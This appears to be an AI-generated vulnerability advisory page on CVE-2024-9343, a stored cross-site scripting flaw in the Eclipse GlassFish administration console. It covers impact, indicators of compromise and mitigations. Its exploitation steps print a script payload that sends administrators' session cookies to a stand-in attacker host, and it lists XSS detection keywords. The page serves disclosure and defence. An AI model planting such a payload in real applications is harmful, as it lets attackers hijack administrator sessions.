CVE-2024-9343:
Java 취약성 분석 및 완화
개요
CVE-2024-9343 is a Stored Cross-Site Scripting (XSS) vulnerability in the Administration Console of Eclipse GlassFish version 7.0.15. It allows an attacker with high privileges to inject malicious scripts that are persistently stored and executed when other administrators access the console. The affected Maven package is org.glassfish.main.admingui:console-common, with versions up to and including 7.0.25 listed as affected with no patched version currently identified. It was published on July 16, 2025, with a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 6.1 (Medium) (GitHub Advisory, Red Hat CVE).
기술적 세부 사항
The root cause is improper neutralization of user-controllable input before it is rendered in web pages served to other users (CWE-79). An authenticated attacker with administrative privileges can inject malicious JavaScript into fields within the GlassFish Administration Console; the payload is stored server-side and executed in the browsers of other administrators who subsequently visit the affected console pages. The attack vector is network-based, requires high privileges to inject the payload, and requires passive user interaction (another admin visiting the page) to trigger execution. The Eclipse security issue tracker references are available at https://gitlab.eclipse.org/security/cve-assignement/-/issues/37 and https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/230 (GitHub Advisory).
영향
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other administrators accessing the GlassFish Administration Console, potentially leading to theft of administrative session credentials, unauthorized manipulation of console settings, and unauthorized actions within the GlassFish administration interface. The CVSS v4.0 scoring reflects a high subsequent system confidentiality impact, indicating that downstream systems accessible via the admin console could be exposed. Availability is not directly impacted, but the integrity and confidentiality of the administration environment are at risk (GitHub Advisory, Red Hat CVE).
착취 단계
- Gain Administrative Access: Obtain valid credentials for the Eclipse GlassFish Administration Console (typically accessible on port 4848). This requires high-privilege access, either through credential theft, reuse, or social engineering.
- Identify Injectable Fields: Navigate the Administration Console to locate input fields that are stored and later rendered without proper output encoding (e.g., resource names, JNDI names, or configuration fields).
- Inject Malicious Payload: Submit a stored XSS payload such as
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>into a vulnerable input field and save the configuration. - Wait for Victim Interaction: When another administrator browses to the affected console page, the stored script executes in their browser context.
- Harvest Credentials or Perform Actions: The executed script can exfiltrate session cookies, perform actions on behalf of the victim administrator, or redirect them to a phishing page (GitHub Advisory).
타협의 징후
- Network: Outbound HTTP requests from administrator browsers to unexpected external domains shortly after accessing the GlassFish Administration Console; unusual GET/POST requests containing encoded JavaScript or cookie data to attacker-controlled infrastructure.
- Logs: GlassFish Administration Console access logs showing unusual input values containing HTML tags or JavaScript keywords (
<script>,onerror,javascript:) in configuration fields; repeated access to specific console pages by multiple admin accounts in short succession. - File System: Unexpected modifications to GlassFish configuration files or stored resource definitions containing script tags or encoded payloads.
- Browser/Session: Unexplained administrative actions (resource creation, configuration changes) in audit logs not correlated with known administrator activity, potentially indicating session hijacking (GitHub Advisory).
완화 및 해결 방법
The GitHub Advisory identifies versions up to and including 7.0.25 as affected with no patched version currently listed; users should monitor the Eclipse GlassFish release page for a fix and upgrade as soon as one is available (GitHub Advisory). In the interim, restrict access to the GlassFish Administration Console (port 4848) to trusted IP addresses only, implement strong multi-factor authentication for administrative accounts, and deploy a Web Application Firewall (WAF) with XSS detection rules. Additionally, review and audit all stored configuration values in the Administration Console for unexpected script content, and monitor administrative console logs for suspicious activity (Red Hat CVE).
추가 자료
근원: 이 보고서는 AI를 사용하여 생성되었습니다.
관련 Java 취약점:
무료 취약성 평가
클라우드 보안 태세를 벤치마킹합니다
9개의 보안 도메인에서 클라우드 보안 관행을 평가하여 위험 수준을 벤치마킹하고 방어의 허점을 식별합니다.
추가 Wiz 리소스
맞춤형 데모 받기
맞춤형 데모 신청하기
"내가 본 최고의 사용자 경험은 클라우드 워크로드에 대한 완전한 가시성을 제공합니다."
"Wiz는 클라우드 환경에서 무슨 일이 일어나고 있는지 볼 수 있는 단일 창을 제공합니다."
"우리는 Wiz가 무언가를 중요한 것으로 식별하면 실제로 중요하다는 것을 알고 있습니다."